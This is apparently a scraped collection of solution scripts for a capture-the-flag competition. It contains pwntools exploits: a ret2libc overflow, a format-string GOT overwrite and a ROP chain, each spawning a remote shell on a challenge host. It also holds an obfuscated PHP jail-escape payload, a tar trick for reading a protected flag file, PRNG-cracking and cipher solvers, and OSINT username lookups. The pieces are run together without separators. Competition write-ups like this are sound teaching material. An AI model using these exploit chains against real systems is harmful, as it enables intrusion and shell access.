Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
from pwn import *
NUM_TO_RET = 0x1c + 4
padding = b'A'*NUM_TO_RET
e = ELF("./molotov")
p = e.process() if args.LOCAL else remote('54.210.217.206',1240)
libc = e.libc if args.LOCAL else ELF("/home/kali/Tools/libc-database/libs/libc6_2.30-0ubuntu2_i386/libc.so.6")
system = int(p.recvline(),16)
p.recvline()
libcbase = system - libc.symbols['system']
log.info(f"System address: {hex(system)}")
log.info(f"Libc base: {hex(libcbase)}")
libc.address = libcbase
chain = flat(libc.symbols['system'],libc.symbols['exit'],next(libc.search(b"/bin/sh\x00")))
p.sendline(padding + chain)
p.interactive()from pwn import *
from randcrack import RandCrack
rc = RandCrack()
s = remote("twistwislittlestar.fword.wtf", 4445)
print(s.recvline())
print(s.recvline())
print(s.recvline())
print(s.recvline())
print(s.recvline())
print(s.recvline())
d1 = int(s.recvline().decode().split(" : ")[1][:-1])
d2 = int(s.recvline().decode().split(" : ")[1][:-1])
d3 = int(s.recvline().decode().split(" : ")[1][:-1])
print(d1,d2,d3)
rc.submit(d1)
rc.submit(d2)
rc.submit(d3)
print(s.recvline())
for i in range(621):
s.recvline()
s.sendline("1")
s.recvline()
d = int(s.recvline().decode().split(" : ")[1][:-1])
print(d,i)
rc.submit(d)
s.recvline()
p = []
for i in range(100):
p.append(rc.predict_randrange(0, 4294967295))
print(p)
s.interactive()line = "101110100011010000110010100100000011001110110001010101100101000000100111011010010010110101000101000110000100011001001100111011111011101001110111100001100011101010101111101100001000010111111000110110110010110100000001001011100010011000110100111100001100111001101110001111001100010001001111100110110110100001011100011100110101001000011100100011011110011000010100110010100111000010101101110101011100010110000100001101101101001111000101011100101100100110110011101000100010101000010001010010110110101011111101110011101110010000101001000111000000100100001010110111001011110001010100100001101111010010111101111001001001111010001100000111000010000100110101100010001111100011111100100100001010010100111010100010000101110000110101000101100"
n = 9
msg = [line[i:i+n] for i in range(0, len(line), n)]
r=3945132
p =12019806956467800913778611206246062087922374347970383926984004278168670921911203657163080865199043522716298571169006826814578568813815787765574990776255283
q = 11391686090403905599695015583829755003551766728158057028281938682097322841603835874354540607209988671617182359012432600907514677996087087987893334356043831
n= p*q
bs = 9
r=3945132
x=pow(r,2,n)
c = ''
for i in range(81):
x=pow(x,2,n)
p=(bin(x)[2:])[-bs:]
c_i=int(p,2)^int(msg[i],2)
ci_bin = format(c_i, '0' + str(bs) + 'b')
c+=ci_bin
print(c)english_freq = [' ', 'E','T','A','I','N','O','R','S','L','H',
'C','M','D','Y','P','U','W','F','G','.','V',
'B','X','K',',','Q', 'Z', '\'', '0', '9']
freqenc = sorted(set(enc),key=enc.count,reverse=True)
mapping = {}
for num in freqenc:
if freqenc.index(num) >= len(english_freq):
mapping[num] = '-'
else:
mapping[num] = english_freq[freqenc.index(num)]
dec = ''
for num in enc:
dec += mapping[num]
print(dec)DOEKHESYW RSRLWANA NA HAEU DIO GOERVNSF AHGATNTHTNIS YNMCEOA. TCE FESEORL NUER NA TI DNSU TCE MIMHLRO LETTEOA NS TCE YNMCEOTEXT RSU TOW TI OEMLRYE TCEP GW TCE YIPPIS LETTEOA NS TCE HAEU LRSFHRFE. TCE RTTRYVEO HAHRLLW YCEYVA AIPE MIAANGNLNTNEA RSU PRVEA AIPE AHGATNTHTNISA ID LETTEOA NS YNMCEOTEXT. CE LIIVA DIO MIAANGLE RMMERONSF BIOUA RSU GRAEU IS TCRT PRVEA PIOE AHGATNTHTNISA. HANSF YIPMHTEOA, NT NA MIAANGLE TI TOW R LIT ID YIPGNSRTNISA NS OELRTNQE ACIOT TNPE. BORM TCE DLRF NS NTA DIOPRT 0 BELLDOEKHESYWRSRLWANAOIYVA. DIO EXRPMLE, ND NS TCE RSRLW'EU YNMCEOTEXT TCE PIAT MIMHLRO LETTEO NA X, ISE PRW MOEUNYT TCRT X OEMLRYEU E IO I ZISE ID TCE PIAT MIMHLRO LETTEOA NS ESFLNAC9 DOIP TCE MLRNSTEXT. NT NA HAEDHL TI LIIV DIO MIMHLRO MRNOA ID LETTEOA IO EQES TOW TI MOEUNYT AIPE DOEKHEST LISFEO AEKHESYEA ID LETTEOA IO BCILE BIOUA. TCE NSTOHUEO RLBRWA TONEA TI DNSU AEKHESYEA ID LETTEOA BCNYC ROE IDTES HAEU NS TCE AELEYTEU LRSFHRFE.FREQUENCY ANALYSIS IS USED FOR BREAKING SUBSTITUTION CIPHERS. THE GENERAL IDEA IS TO FIND THE POPULAR LETTERS IN THE CIPHERTEXT AND TRY TO REPLACE THEM BY THE COMMON LETTERS IN THE USED LANGUAGE. THE ATTACKER USUALLY CHECKS SOME POSSIBILITIES AND MAKES SOME SUBSTITUTIONS OF LETTERS IN CIPHERTEXT. HE LOOKS FOR POSSIBLE APPEARING WORDS AND BASED ON THAT MAKES MORE SUBSTITUTIONS. USING COMPUTERS, IT IS POSSIBLE TO TRY A LOT OF COMBINATIONS IN RELATIVE SHORT TIME. WRAP THE FLAG IN ITS FORMAT 0 WELLFREQUENCYANALYSISROCKS. FOR EXAMPLE, IF IN THE ANALY'ED CIPHERTEXT THE MOST POPULAR LETTER IS X, ONE MAY PREDICT THAT X REPLACED E OR O ZONE OF THE MOST POPULAR LETTERS IN ENGLISH9 FROM THE PLAINTEXT. IT IS USEFUL TO LOOK FOR POPULAR PAIRS OF LETTERS OR EVEN TRY TO PREDICT SOME FREQUENT LONGER SEQUENCES OF LETTERS OR WHOLE WORDS. THE INTRUDER ALWAYS TRIES TO FIND SEQUENCES OF LETTERS WHICH ARE OFTEN USED IN THE SELECTED LANGUAGE.from zlib import crc32
data = open("NULL",'rb').read()
index = 12
ihdr = bytearray(data[index:index+17])
width_index = 7
height_index = 11
for x in range(1,2000):
height = bytearray(x.to_bytes(2,'big'))
for y in range(1,2000):
width = bytearray(y.to_bytes(2,'big'))
for i in range(len(height)):
ihdr[height_index - i] = height[-i -1]
for i in range(len(width)):
ihdr[width_index - i] = width[-i -1]
if hex(crc32(ihdr)) == '0xe3677ec0':
print("width: {} height: {}".format(width.hex(),height.hex()))
for i in range(len(width)):
ihdr[width_index - i] = bytearray(b'\x00')[0]from pwn import *
e = ELF("./remake")
libc = e.libc if args.LOCAL else ELF("/home/kali/Tools/libc-database/libs/libc6_2.30-0ubuntu2.2_i386/libc.so.6")
def getproc():
return e.process() if args.LOCAL else remote('onepiece.fword.wtf', 1236)
def dofmt(data):
p.sendline(b"gomugomunomi")
p.recvuntil(b">>")
p.sendline(data)
output = p.recvline()
p.recvuntil(b">>")
return output
def write_fmt(data):
proc = getproc()
proc.recvuntil(b">>")
proc.sendline("gomugomunomi")
proc.recvuntil(b">>")
proc.send(data)
output = proc.recvline()
proc.close()
return output
auto = FmtStr(write_fmt)
p = getproc()
p.recvuntil(b">>")
string = b"/bin/sh\x00"
payload = p32(e.got['puts']) + b'%7$s'
output = dofmt(payload)[4:8]
libcleak = u32(output)
log.info(f"Libc leak: {hex(libcleak)}")
libcbase = libcleak - libc.symbols['puts']
log.info(f"Libc base: {hex(libcbase)}")
libc.address = libcbase
# Overwrite printf@got with system@GLIBC
payload = fmtstr.fmtstr_payload(auto.offset,{e.got['printf']: libc.symbols['system']})
p.sendline(b"gomugomunomi")
p.recvuntil(b">>")
p.sendline(payload)
p.clean()
p.sendline(b"gomugomunomi")
p.recvline()
p.sendline(b"/bin/sh")
p.interactive() read(0,local_10,8);
iVar1 = atoi(local_10);00 00 00 00 de ad be ef41 41 41 41 de ad be effrom pwn import *
e = ELF("./numbers")
context.arch = 'amd64'
p = e.process() if args.LOCAL else remote('numbers.fword.wtf', 1237)
libc = e.libc if args.LOCAL else ELF("/home/kali/Tools/libc-database/libs/libc6_2.28-0ubuntu1_amd64/libc.so.6")
def getoutput(data,cont=True):
p.recvuntil(b"??\n")
# We send -1 as a number because atoi allows negatives, but read will actually just interpret this as a request to read 0xffffffff bytes, giving us a lot of overflow
p.send("-1\x00")
p.recvline()
# Our input is echoed(safe printf) so we can leak values because of lack of string termination, skywriting style
p.send(data)
if not cont:
return
p.recvuntil(data)
ans = p.recvline()
p.recvuntil(b"?\n")
p.send('\n')
return ans[:-1]
num = 0x40
libcleak = getoutput(b'A'*8).ljust(8,b'\x00')
libcleak = u64(libcleak)
log.info(f"Libc leak: {hex(libcleak)}")
libcbase = libcleak - 16 - libc.symbols['atoi']
log.info(f"Libc base: {hex(libcbase)}")
libc.address = libcbase
padding = b'A'*0x48
rop = ROP(libc)
poprdi = (rop.find_gadget(['pop rdi', 'ret']))[0]
retgadget = (rop.find_gadget(['ret']))[0]
chain = flat(poprdi,next(libc.search(b"/bin/sh\x00")),retgadget,libc.symbols['system'])
getoutput(padding + chain,False)
p.interactive()import socket
socket = socket.socket()
socket.connect(('secretarray.fword.wtf', 1337))
socket.recv(2048)
def recv():
while True:
a = socket.recv(2048).decode('ASCII')
if a != '\n':
return a
socket.send(b'0 1\n')
a=[]
a.append(int(recv()))
socket.send(b'1 2\n')
a.append(int(recv()))
socket.send(b'2 0\n')
a.append(int(recv()))
s=sum(a)//2
b=[s-a[1], s-a[2], s-a[0]]
print(b)
for i in range(2, 1336):
socket.send(f'{i} {i+1}\n'.encode('ASCII'))
b.append(int(recv())-b[-1])
print(f'{i+1} - {b[-1]}')
socket.send(("DONE "+" ".join(str(i) for i in b)+'\n').encode('ASCII'))
socket.recv(2048)
print(socket.recv(2048))def mess(msg):
enc=""
for i in msg:
enc+=chr((ord(i)+ord(i))%256)
return enc
printable = string.printable
def demess(msg):
# Byte by byte bruteforce
dec = ""
for i in range(len(msg)):
for char in printable:
if mess(char) == msg[i]:
dec += char
break
else:
dec += "-"
return decmatrix[0,0] matrix[0,1] matrix[0,2] matrix[1,0] .... ----- matrix2[0,0] .....import angr
import claripy #the solver engine
proj = angr.Project("./welcome", auto_load_libs=False)
sym_arg_size = 0x10 #Length in Bytes because we will multiply with 8 later
inp = [claripy.BVS('flag_%d' % i, 8 ) for i in range(sym_arg_size)]
flag = claripy.Concat(*inp + [claripy.BVV(b'\n')])
state = proj.factory.full_init_state(args=["./welcome"], stdin=flag)
for byte in inp:
state.solver.add(byte >= ord('0'))
state.solver.add(byte <= ord('9'))
simgr = proj.factory.simulation_manager(state)
good = 0x400000 + 0x12b2
bad = [0x400000 + 0x1669, 0x400000 + 0x167b]
simgr.use_technique(angr.exploration_techniques.DFS())
simgr.explore(find=good)
found = simgr.found[0]
print(found.solver.eval(flag, cast_to=bytes))The solved input is 1755121917194838import string
def mess(msg):
enc=""
for i in msg:
enc+=chr((ord(i)+ord(i))%256)
return enc
printable = string.printable
def demess(msg):
# Byte by byte bruteforce
dec = ""
for i in range(len(msg)):
for char in printable:
if mess(char) == msg[i]:
dec += char
break
else:
dec += "-"
return dec
import random
import numpy as np
key=np.matrix("1 2 3;0 1 4;5 6 0")
def recur_fibo(n):
if n<=1:
return 1
else:
return recur_fibo(n-1)+recur_fibo(n-2)
def messig_up(message,key):
parts=""
while len(message)!=0:
to_work_with=message[:9]
first_one=np.zeros((3,3))
k=0
for i in range(3):
for j in range(3):
first_one[i][j]=ord(to_work_with[k])
k+=1
finish=np.transpose(np.matmul(first_one,key))
for i in range(3):
for j in range(3):
parts=parts + str(finish[i,j])+ " "
parts+="-----"
message=message[9:]
return parts
def encode(n):
i=1
fib=recur_fibo(i)
t_f=[]
while fib<n:
t_f.append(fib)
i+=1
fib=recur_fibo(i)
_sum=0
a_f=[]
for i in range(len(t_f)-1,-1,-1):
if _sum==n:
break
if _sum+t_f[i]<=n:
a_f.append(t_f[i])
_sum+=t_f[i]
exis=[]
for i in t_f:
if i in a_f:
exis.append(1)
else:
exis.append(0)
return t_f,exis
encmap = []
for i in range(2500):
encmap.append(encode(i))
stuff = open("output.txt").readlines()
data = []
for line in stuff:
data.append(eval(line))
nums = []
for piece in data:
nums.append(encmap.index(piece))
print(nums)
invkey = np.linalg.inv(key)
dec = ""
for i in range(0,len(nums),9):
split = nums[i:i+9]
goodmat = np.array([split[j:j+3] for j in range(0,9,3)])
goodmat = np.transpose(goodmat)
matr = np.matmul(goodmat,invkey)
print(matr)
for x in range(3):
for y in range(3):
dec += chr(round(matr[x,y]))
print(len(dec))
print(demess(dec).encode())a = "aaFho_i_aC2b_abfc8edFw!kolae_ngbom_r__f_9T525eg__ihedd}{pmertt"
b = "sUHoQmijkF23xd4568LEABgMCcNpqtuOPVWDhabT1Gyz0KefRSYZr79IJlvwXn"
a = list(a)
b = list(b)
c = list("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789")
o = ""
for i in range(len(a)):
d = b.index(c[i])
o += a[d]
print(o)773656977712623018a = 3134652320855556902
4310293078435922410a = 4232914784858114605194353664298357346a = 53888930611360809
2265916691887264433a = 233243260292215890from pwn import *
import time
printable = "?_qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890!@#$%^&*(){},./<~\\"
host = ('xo.fword.wtf', 5554)
def getnum(string):
while True:
try:
p = remote(*host)
break
except socket.gaierror:
time.sleep(1)
#p = process("./task")
p.recvline()
p.sendline(string)
ans = int(p.recvline())
p.close()
return ans
flag = ''
i = len(flag)
while '}' not in flag:
pad = '`'*i
for char in printable:
totry = pad + char
print(totry)
if getnum(totry) == i:
flag += char
print(f"Flag: {flag}")
break
else:
print(flag)
quit()
i += 1$_=([]."")[([]==[])+([]==[])+([]==[])];$_++;$_++;$__="";$___=$_;$___++;$___++;$___++;$____=$___;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$_____=$____;$_____++;$_____++;$__.=$_____;$____=$___;$____++;$____++;$__.=$____;$__.=$_____;$____++;$__.=$____;$___=$_;$___++;$___++;$___++;$____=$___;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$__.=$____;$___=$_;$___++;$___++;$___++;$____=$___;$____++;$__.=$___;$___=$_;$___++;$___++;$___++;$____=$___;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$__.=$____;$__();$_=([]."")[([]==[])+([]==[])+([]==[])];$_++;$_++;$__="";$___=$_;$___++;$___++;$___++;$____=$___;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$_____=$____;$_____++;$_____++;$__.=$_____;$_____++;$_____++;$__.=$_____;$_____=$___;$_____++;$_____++;$_____++;$__.=$_____;$_____++;$_____++;$_____++;$_____++;$_____++;$__.=$_____;$____++;$____++;$____++;$____++;$____++;$____++;$__.=$____;$__.=$___;$_=([]."")[([]==[])+([]==[])+([]==[])];$_++;$_++;$_++;$_++;$_____="";$______=$_;$______++;$______++;$______++;$_______=$______;$_______++;$_______++;$_______++;$_______++;$_______++;$_______++;$_______++;$_______++;$________=$_______;$________++;$________++;$_____.=$________;$_____.=$_;$_=([]."")[([]==[])+([]==[])+([]==[])];$_____.=$_;$_++;$_++;$_++;$_____.=$_;$_++;$_++;$_____.=$_;$_++;$_++;$_++;$_____.=$_;$_++;$_++;$_++;$_____.=$_;$_=([]."")[([]==[])+([]==[])+([]==[])];$_++;$_++;$_++;$_++;$_____.=$_;$_=([]."")[[].[]+[][[]]];$_______="";$________=$_;$________++;$________++;$________++;$________++;$________++;$_______.=$________;$_________=$________;$_________++;$_________++;$_________++;$_________++;$_________++;$_________++;$_______.=$_________;$_______.=$_;$_________=$________;$_________++;$_______.=$_________;$_______.=".";$_________++;$__________=$_________;$__________++;$__________++;$__________++;$__________++;$__________++;$__________++;$__________++;$__________++;$_______.=$__________;$_______.=$_________;$_______.=$__________;$__($_____($_______));p = 9444729917070668893
a = 7762244320486225184
b = 731234830430177597
X=[6680465291011788181]
c=0
while c<73:
X.append((a*X[c]+b)%p)
c+=1
o = ""
bleh = [6680465291011788243, 5100570103593250421, 5906808313299165060, 1965917782737693358, 9056785591048864624, 1829758495155458576, 6790868899161600055, 1596515234863242823, 1542626304251881891, 8104506805098882719, 1007224930233032567, 3734079115803760073, 7849173324645439452, 8732100672289854567, 5175836768003400781, 1424151033239111460, 1199105222454059911, 1664215650827157105, 9008386209424299800, 484211781780518254, 2512932525834758909, 270126439443651096, 3183206577049996011, 3279047721488346724, 3454276445316959481, 2818682432513461896, 1198230090827197024, 6998819122186572678, 9203565046169681246, 2238598386754583423, 467098371562174956, 5653529053698720276, 2015452976526330232, 2551998512666399199, 7069788985925185031, 5960242873564733830, 8674335448210427234, 8831855692621741517, 6943582577462564728, 2159276184039111694, 8688468346396385461, 440650407436900405, 6995840816131325250, 4637034747767556143, 3074066864500201630, 3089580429060692934, 2636919931902761401, 5048459994558771200, 6575450200614822046, 666932631675155892, 3355067815387388102, 3494943856508019168, 3208598838604422062, 1651654978658074504, 1031697828323732832, 3522460087077276636, 6871524519121580258, 6523448658792083486, 127306226106122213, 147467006327822722, 3241736541061054362, 8781435214433157730, 7267936298215752831, 3411059229428517472, 6597995245035183751, 1256684894889830824, 6272257692365676430, 303437276610446361, 8730871523914292433, 6472487383860532571, 5022165523149187811, 4462701447753878703, 1590013093628585660, 4874224067795612706]
for i in range(len(bleh)):
o += chr(bleh[i] ^^ X[i])
print(o)user1@d963015da1fa:/tmp$ tar -cvf flag.tar /home/user1/flag.txt
tar: Removing leading `/' from member names
/home/user1/flag.txt
user1@d963015da1fa:/tmp$ tar -xvf flag.tarHi Fred,
You said that you are good in OSINT. So, you need to prove your skills to join Eword.
Your task:
Find the leader of Eword, then find the flag in one of his social media accounts.
Hint:
https://pastebin.com/PZvaSjA0kali@kali:~/sherlock$ python3 sherlock WokaihwokomasKustermann
[*] Checking username WokaihwokomasKustermann on:
(made shorter for s*nity)
[+] Instagram: https://www.instagram.com/WokaihwokomasKustermann